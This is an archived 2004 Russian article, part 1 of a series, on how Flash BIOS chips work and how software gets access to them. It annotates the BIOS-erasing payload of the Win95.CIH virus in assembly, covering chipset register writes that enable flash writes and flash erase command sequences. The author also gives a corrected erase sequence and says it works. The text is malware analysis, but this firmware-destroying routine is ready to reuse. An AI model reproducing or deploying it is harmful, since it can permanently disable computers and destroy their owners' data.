Почти все, что вы хотели знать о Flash BIOS: Часть 1

Дата публикации 29 июл 2004

Почти все, что вы хотели знать о Flash BIOS: Часть 1 — Архив WASM.RU

  • Зачем и о чем эта статья
  • Начальные сведения
  • Оружие Win95.CIH

Зачем и о чем эта статья

В очередной раз наткнувшись на оффтопик в форуме «что такое флэш?», «где  находится BIOS?» и   т. д., я не выдержал.  Решил попробовать прояснить эту тему, а также и  себя проявить в новом качестве.  Из нее можно извлечь информацию для создания вредоносного кода, поэтому, надеюсь, что таких желающих будет немного. В данной статье я рассмотрю следующие вопросы:

  1. что такое флэш, принципы работы и строения флэш, как программно работать с флэш;

  2. вопрос  «можно ли сделать запись в флэш для защиты программ?»;

Начальные сведения.

Микросхема Флэш-памяти (EEPROM) присутствует в любом современном компьютере (начиная с 486). Как правило, она предназначена для постоянного хранения начального исполняемого кода  загрузки компьютера, хранения кода и данных BIOS. Сама микросхема присутствует в системе как устройство, подключенное к адресному пространству памяти (как DIMM или RDR RAM) и управляемое чипсетом материнской платы. Именно программирование чипсета позволяет (или наооборот, запрещает) получить доступ к флэш-памяти. Флэш подключена в общее пространство памяти и находится в  самых верхних ее адресах. Поскольку i386+ позволяет обращаться к 4Gb памяти и если, к примеру, объем флэшки составляет 1 мегабит ( 128 килобайт), то адрес начала флэш памяти равен 4Gb-128 Kb ( 0FFFC0000h). По адресу 0FFFFFFF0h находится первая исполняемая инструкция загрузочного кода BIOS. Данный факт одинаков для любых IBM совместимых компьютеров начиная с 386. Возникает вопрос: «каким образом процессор получает доступ к  данному участку памяти при начале работы?» Ответ дает М. Гук в книге “Процессоры Pentium-lll, Athlon и другие”: Сброс (при включении питания) переводит процессор в реальный режим и устанавливает ряд регистров в определенное состояние. В частности устанавливаются следующие значения регистров:

  • FLAGS=0002h и биты VM и RF его расширения обнуляются;
  • В регистре CR0 обнуляются биты PG, TS, EM, MP и PE;
  • CS =F000h;
  • EIP=0000FFFF0h;
  • DS=ES=SS=FS=GS=0000h;
  • Регистр DX содержит информацию о типе процессора.

При вышеуказанном сочетании регистров CS:EIP, находясь в реальном режиме, процессор начинает выполнение инструкции, считанной по физическому адресу 0FFFFFFF0h. Это происходит потому, что в скрытых регистрах кодового сегмента устанавливается база 0FFFF0000h и лимит      0FFFFh, а именно они и определяют реальное местоположение сегмента.Такое определение действует до первой перезагрузки CS при команде межсегментного перехода или вызова, либо при обслуживании  прерывания или исключения.

         После того как BIOS проинициализирует основные компоненты компьютера, будут запрограммированы регистры чипсета так, чтобы затенить (shadow) адресное пространство флэш- памяти. Теперь данный диапазон памяти устанавливается как  read-only.

         Теперь немного о самой микросхеме флэш памяти. Во-первых программная реализация микросхем зависит от производителя. Таких на сегодняшний день много, приведу лишь основных:

Winbond, Intel, Amtel, SST, Imt, Macronix и другие. В связи с этим, команды программирования микросхем зависят от производителя. Далее, сами микросхемы помимо объема памяти различаются еще и способу хранения информации:

  1. sectored – флэш память с секторной структурой. Например, микросхема INTEL 28F001BX-T/12V (128 Кb) имеет 4 сектора: 1-main 112 Kb, 2 сектора по 4 Kb (данные PnP) и bootblock размером в 8 Kb.
  2. Paged – флэши со страничной структурой. Вся память микросхемы представлена в виде одной страницы.
  3. BULK-ERASE – как п.2, только для перезаписи требуется послать команду предварительной очистки страницы.
  4. SMALL SECTORS – флэш память с ячеистой структурой. Пример SST 28x040 series (5V/3V/2.7V) (512 Kb) имеет  1024 сектора размером по 128 байт.
  5. BULK-ERASE, NEEDS BLANKING – как п.3, только требуется еще и blanking команда. Часто используется в старых чипах.

Ну, и как я уже говорил, для того чтобы добраться до самой микросхемы флэш-памяти (имеется ввиду программно) требуется соответствующим образом программировать регистры чипсета материнской платы. И вновь,  поскольку производителей чипсетов много (основные: Intel, VIA, SiS, AMD, nVidia) программные алгоритмы разрешения доступа к флэш у всех разные. И раз в этой области не существует общих стандартов, спешу разочаровать начинающих вирмейкеров и желающих защитить программы методом привязывания к сигнатуре, оставленной в флэш-памяти. Код придется писать аппаратно-зависимый (т.е. под конкретную материнскую плату и микросхему памяти), а для попытки объединить все существующие материнские платы и флэш микросхемы придется создавать контору наподобие Award или AMI и набирать с добрый десяток программистов. Даже классические программы доступа к флэш (amiflash или awdflash) работают не на всех материнских платах (несмотря на то, что прошит их «родной» BIOS). Ну и общеизвестно, что на большинстве материнских плат теперь есть перемычка, которая аппаратно запрещает работать с флэш-памятью. Ряд производителей пошли еще дальше. Они используют технологии “Dual BIOS” ( Gigabyte), недокументированные способы защиты флэш чипов (VIA), и др.

Оружие Win95.CIH

         Пришла пора привести немного кода. Для начала не свой. J

Правила существуют чтобы их нарушать (или исполнять?). Вернемся в 26 апреля 1999 года. В день годовщины взрыва на Чернобыльской АЭС произошло одно весьма знаменательное событие. Начал свою работу,  пожалуй, самый злостный и самый изящный вирус всех времен и народов (до сегодняшенго момента) - WIN95.CIH. Одной из возможностей его «полезной нагрузки» была как раз и  попытка уничтожения кода BIOS. Посмотрим как он это делал.

         Для начала небольшой комментарий. Во-первых, исходный код  вируса можно легко найти в интернете.  Поэтому то, что  приведено, знает множество людей, я лишь подробно поясню код затирания флэш. Во-вторых, в самом исходном коде допущен ряд неточностей (на мой взгляд), причины которых возможно следующие:

  1. Сам исходный код процедуры записи BIOS был сознательно изменен при публикации по понятным причинам или попросту неправильно перепечатан. Да и вообще, по моему глубокому убеждению, доступный исходник лишь отражает основные идеи работы вируса, а не является полноценным работоспособным кодом. В конце концов, это и понятно: как вирус затирает BIOS не так интересно, вся красота кода не в этом.       
  2. Возможно, что я сам ошибаюсь ввиду того, что обладаю не всей информацией. Техническая документация по этой теме весьма скупа и крайне специализирована.

Итак, поехали:

Код (Text):
  1.  
  2. ;--------------------------
  3. ; Прибить BIOS EEPROM
  4. ;--------------------------
  5.  
  6.       mov     bp, 0cf8h                  ; в BP адрес регистра управления PCI
  7.       lea      esi, IOForEEPROM-@7[esi]  ; в ESI адрес процедуры IOForEEPROM

Для начала вирус программирует регистры чипсета, чтобы получить доступ к флэш. В регистре bp – адрес регистра управления шиной PCI. Затем определяет адрес процедуры IOForEEPROM (процедура разрешения доступа к флэш) методом дельта-смещения. Взят оригинальный код, поэтому для собственного алгоритма достаточно написать lea esi, IOForEEPROM или mov esi,offset IOForEEPROM. Надо уточнить, что вирус работает в 32 разрядном защищенном режиме с моделью памяти Flat да еще и в 0 кольце. Поэтому для того, чтобы реализовать что-нибудь похожее, придется, как минимум, перевести процессор в FLAT REAL MODE.

Код (Text):
  1.  
  2. ;----------------------
  3. ; Прочитать страницу BIOS
  4. ;   000E0000 - 000EFFFF
  5. ;     (   64 KB   )
  6. ;----------------------
  7.       mov     edi, 8000384ch             ; значение региста управления PCI
  8.       mov     dx , 0cfeh                       ; регистр

Вообще данные для устройства на шине PCI пишутся и читаются через порт 0CFCh, который является 32 битным портом. Поэтому инструкция out dx, eax , развернется в четыре команды:

Код (Text):
  1.  
  2.     ; out dx     ,al                          ;dx=0CFCh
  3.     ; out dx+1,ah                             ;dx=0CFDh  
  4.     ; out dx+2,  младший байт старшего слова  ;dx=0CFEh  (!)
  5.     ; out dx+3, старший  байт старшего слова  ;dx=0CFFh

Для возможности записи в флэш необходимо будет изменить значение только одного байта, который будет считан и записан в порт 0СFEh. Поэтому, для уменьшения собственного размера, вирус работает только с этим портом, читая один байт вместо двойного слова. Значение регистра edi разберем позднее.

Код (Text):
  1.  
  2.       Cli                     ; запрещает прерывания
  3.       call    esi             ; call IOForEEPROM

я включу код процедуры IOForEEPROM прямо здесь на наглядности:

Код (Text):
  1.  
  2.  (IOForEEPROM:
  3. @10                     =       IOForEEPROM
  4.  
  5.        xchg    eax, edi       ;  eax=8000384ch, edi=?       , данные
  6.        xchg    edx, ebp       ;  edx=0cf8h,ebp=0cfeh;   , регистр
  7.        out     dx, eax        ;  записываем
  8.  
  9.        xchg    eax, edi       ; edi=8000384ch    , eax=?
  10.        xchg    edx, ebp       ; edx=0cfeh;      ,регистр
  11.        in      al, dx         ; получаем тек. значение  
  12.  
  13. BooleanCalculateCode    =       $       ;
  14.        or      al, 44h        ;  устанавливем ROM enable, eax=value1=800038**h or 44h
  15.        xchg    eax, edi       ;  eax=8000384ch, edi=value1, данные
  16.        xchg    edx, ebp       ;  edx=0cf8h, ebp==0cfch;   , регистр
  17.        out     dx, eax        ;  записываем
  18.  
  19.        xchg    eax, edi       ;  eax=value1 ,edi=8000384ch , данные
  20.        xchg    edx, ebp       ;  edx=0cfch, ebp=0cf8h      , регистр
  21.        out     dx, al         ;  записываем
  22.        ret              )

Итак, что делает данная процедура? Во-первых, edi=8000384Сh, есть ни что иное

как  индекс регистра устройства на шине PCI (в данном случае это какой-нибудь PCI bridge чипсета материнской платы) На wasm.ru есть статья Dark_Mastera “Определение конфигурации компьютера”, где подробно показано,  как формируется индекс PCI устройства. Здесь же могу сказать что

8000384ch=10000000000000000011100001001100b получаем номер регистра устройства=4Сh, номер самого устройства= 7, номер функции =0 (основная), шина=0. Вирус записал в порт 0CF8h, 8000384Сh считал из порта 0CFEh текущий статус разрешения доступа к флэш. Далее установил значение в «enable»  (al, 44h)  и перепрограммировал чипсет. Пока добавлю, что данный метод открытия доступа к флэш характерен для чипсетов 430VX, HX,TX  и некоторых других  фирмы Intel. Более подробно мы разберем методы программирования различных чипсетов во второй части статьи.   

Код (Text):
  1.  
  2. ;----------------------
  3. ; Прочитать страницу BIOS
  4. ;   000F0000 - 000FFFFF
  5. ;     (   64 KB   )
  6. ;----------------------
  7.        mov     di, 0058h                   ;   edi=80000058h
  8.        dec      edx                        ;   edx=0cfdh                
  9.        mov     word ptr (BooleanCalculateCode-@10)[esi], 0f24h  
  10.                                            ;@10= and al,0fh   0f24-
  11.                                            ;опкод команды and al,0fh   
  12.        call    esi                         ; call IOForEEPROM

Здесь, похоже, вирус исполняет код, разрешающий доступ к флэш для других чипов. (Для каких именно не могу сказать, нигде не нашел регистр 58h, девайса 0).

Кроме того, вирус изменяет код процедуры  IOForEEPROM, вставляя в нее команду and al,0fh вместо  or  al, 44h. Видоизмененный код IOForEEPROM преведен внизу:

Код (Text):
  1.  
  2. (IOForEEPROM:
  3. @10                     =       IOForEEPROM
  4.  
  5.        xchg    eax, edi           ;  eax=80000058h, edi=value1, данные
  6.        xchg    edx, ebp           ;  edx=0cf8h,ebp=0cfbh      ; регистр
  7.        out      dx, eax           ;  записываем out 0cfbh,80000058h
  8.        xchg    eax, edi           ;  edi=80000058h,eax=value1 ; данные
  9.        xchg    edx, ebp           ;  edx=0cfbh;ebp=0cf8h      , регистр
  10.        in         al, dx          ;  получаем тек. значение  
  11.  
  12.  (BooleanCalculateCode :
  13.        and     al, 0fh            ; измененная команда
  14.        xchg    eax, edi           ;  eax=80000058h, edi=value2 , данные                        
  15.        xchg    edx, ebp           ;  edx=0cf8h, ebp=0cfbh;     , регистр
  16.        out     dx , eax           ;  записываем
  17.  
  18.        xchg    eax, edi           ;  eax=value2, edi=80000058h, данные
  19.        xchg    edx, ebp           ;  edx=0cfbh, ebp=0cf8h      , регистр
  20.        out     dx, al             ;  записываем
  21.  
  22.        ret  )
  23. ;----------------------
  24. ; Прочитать дополнительные данные BIOS
  25. ; 000E0000 - 000E01FF
  26. ;   (   512 Bytes   )
  27. ; и секция дополнительного BIOS (Extra BIOS)
  28. ; может быть записана...
  29. ;----------------------
  30.  
  31.       lea     ebx, EnableEEPROMToWrite-@10[esi] ; получаем адрес процедуры
  32.                                                 ; EnableEEPROMToWrite
  33.        mov     eax, 0e5555h  ; команда для Flash
  34.        mov     ecx, 0e2aaah  ; команда для Flash
  35.        call       ebx           ; call EnableEEPROMToWrite

Вот и самое главное: после установки разрешения доступа к флэш, режим записи (в данном случае команда очистки сектора флэш) происходит следующим образом:

(я снова вставил код вызываемой процедуры для наглядности)

Код (Text):
  1.  
  2. (EnableEEPROMToWrite:
  3.        mov     [eax], cl                ; mov[0E5555h], 0AAh  
  4.        mov     [ecx], al                ; mov[0E2aaah],    55h
  5.        mov     byte ptr [eax], 80h      ; mov[0E5555h],   80h    
  6.                                         ; команда Erase sector
  7.        mov     [eax], cl                ; mov[0E5555h], 0AAh
  8.        mov     [ecx], al                ; mov[0E2aaah],    55h
  9.  
  10.        ret                     )
  11.  
  12.        mov     byte ptr [eax], 60h      ; mov[0E5555h], 60h    
  13.                                         ; команда Confirm erase (30h,50h )

Последовательность этих шести команд в адресное пространство сектора флэш (сектор начинается с 0E0000h) приводит к заполнению сектора нулями. mov[0E5555h], 0AAh и

mov[0E2AAAh], 55h – идентификатор команды,  mov[0E5555h], 80h – собственно команда “erase setup”. (В данном случае считается, что установлена секторная флэш микросхема). Аналогичны последующие 3 команды подтверждающие очистку флэш. Причем команда mov[0E5555h], 60h  (60h) мне  не встречалась в технической документации, а если вместо 60h поставить 30h или 50h то флэши наподобие  Intel 28F010/12V' и многие другие будут стерты.             Здесь и возникает сомнительный  момент. Вирус атакует сектор, начало которого расположено по адресу 0Е0000h. Но, как я уже говорил, флэш картируется (отображается) на верхние адреса 4Gb пространства). Поэтому правильно код должен выглядеть так:

Код (Text):
  1.  
  2.        ; mov byte ptr [0FFFE5555h] ,0AAh  
  3.        ; mov byte ptr [0FFFE2AAAh] , 55h
  4.        ; mov byte ptr [0FFFE5555h] , 80h    ; команда Erase sector
  5.        ; mov byte ptr [0FFFE5555h] ,0AAh
  6.        ; mov byte ptr [0FFFE2AAAh] , 55h
  7.        ; mov byte ptr [0FFFE5555h] , 50h   ; команда Confirm Erase  

Работоспособность этого кода проверена.  Однако, из-за недостатка информации, можно предположить, что флэш-память картируется и на верхние адреса первого мегабайта. В принципе, это было бы логично, поскольку, начиная работу в реальном режиме и при стандартно установленных базах и лимитах сегментых регистров, процессор не может получить доступ к памяти выше одного мегабайта. Проверить Михаила Гука нет возможности, а проверить картирование флэш памяти на верхние адреса первого мегабайта можно, чем мы и займемся во второй части статьи.

Код (Text):
  1.  
  2.       push    ecx                   ; push 0e2aaah
  3.                                     ; ожидаем окончания
  4.                                     ; переходных процессов
  5.       loop    $
  6.  
  7. ;----------------------
  8. ; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
  9. ; 000E0000 - 000E007F
  10. ;   (   80h Bytes   )
  11. ;----------------------
  12.  
  13.        xor     ah, ah     ; ah=0          
  14.        mov     [eax], al  ; mov mov[0e0055h],55h ;  вот собственно и запись

Здесь вирус еще и пишет в стертый сектор, для надежности, пожалуй. По большому счету эта команда лишняя.

Код (Text):
  1.  
  2.        xchg    ecx, eax   ; снова тормозим
  3.        loop    $
  4.  
  5. ;----------------------
  6. ; Показать и включить основные данные BIOS {BIOS Main ROM Data}
  7. ; 000E0000 - 000FFFFF, (128 KB), может быть записана...
  8. ;----------------------
  9.  
  10.         mov     eax, 0f5555h      ; адрес
  11.         pop     ecx                        ; ecx=0E2AAAh
  12.         mov     ch, 0aah              ; ecx=0EAAAAh
  13.         call    ebx                        ; call EnableEEPROMToWrite
  14. (EnableEEPROMToWrite:
  15.         mov     [eax], cl             ; mov[0F5555h] ,0AAh  
  16.         mov     [ecx], al             ; mov[0EAAAAh],   55h  
  17.                             ; тут по-видимому ошибка в коде
  18.                             ; должно быть 0FAAAAh
  19.         mov     byte ptr [eax], 80h   ; mov[0F5555h],   80h    
  20.                                       ; erase sector
  21.         mov     [eax], cl             ; mov[0E5555h], 0aah
  22.         mov     [ecx], al             ; mov[0EAAAAh],  55h    
  23.                             ; тут по-видимому ошибка в коде
  24.                             ;должно быть 0FAAAAh
  25.  
  26.         ret                                         )
  27.  
  28.         mov     byte ptr [eax], 60h ; mov[0E5555h], 60h  
  29.                 ; (30h или 50h надо бы) confirm erase

Здесь делается попытка записать сектор 0F000h, но либо в коде допущена ошибка, либо изменили исходник. В любом случае вирус уже сделал свое дело - сектор 0E0000h уже пустой…

Код (Text):
  1.  
  2.         push    ecx                   ; push 0EAAAAh
  3.         loop    $                     ; ожидаем окончания
  4.                                       ; переходных процессов
  5.         mov     byte ptr [eax], 20h   ; mov[0e5555h],20h      
  6.                                       ; подтверждаем очистку

Вирус посылает команду 20h, подтверждающую очистку сектора характерную для некоторых модулей флэш

Код (Text):
  1.  
  2.         loop    $                     ; ожидаем окончания
  3.                                       ; переходных процессов
  4.  
  5. ;----------------------
  6. ; Прибить данные об основном BIOS {BIOS Main ROM Data}
  7. ; 000FE000 - 000FE07F, (80h Bytes)
  8. ;----------------------
  9.  
  10.         mov     ah, 0e0h          ; eax=0EE055h
  11.         mov     [eax], al         ; mov [0EE055h], 55h
  12.                                   ; и еще пишем для надежности

Еще пишет для надежности, но в свете предыдущего кода эта попытка неудачна.

Код (Text):
  1.  
  2. ;----------------------
  3. ; Спрятать страницу BIOS
  4. ; 000F0000 - 000FFFFF,(64 KB)
  5. ;----------------------
  6.       …

дальше уже неинтересно. Все что надо, вирус уже сделал.

Теперь финальный комментарий. Итак, с учетом поправок, вирус уничтожает данные флэш. Естественно, данный алгоритм работает только на уже старых чипсетах фирмы Intel (430VX,HX,TX,440 LX,BX и подобные (хотя, я думаю, что на некоторых чипсетах серии 8** этот фокус тоже пройдет)) и для некоторых моделей микросхем флэш-памяти (далеко не всех, конечно). В те времена это была наиболее распространенная системная логика, большинство компьютеров собиралось именно на этих платформах, потому и жертв было много. Однако счастливые обладатели чипсетов от фирм VIA и SiS (были еще страшно глючные чипы некоей конторы Opti) тоже на самом деле таковыми не были: далее вирус старательно затирал первые 1000 секторов несущего жесткого диска… .

продожение следует…

пишите levagil@inbox.ru © LevaGil


0 7.112
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532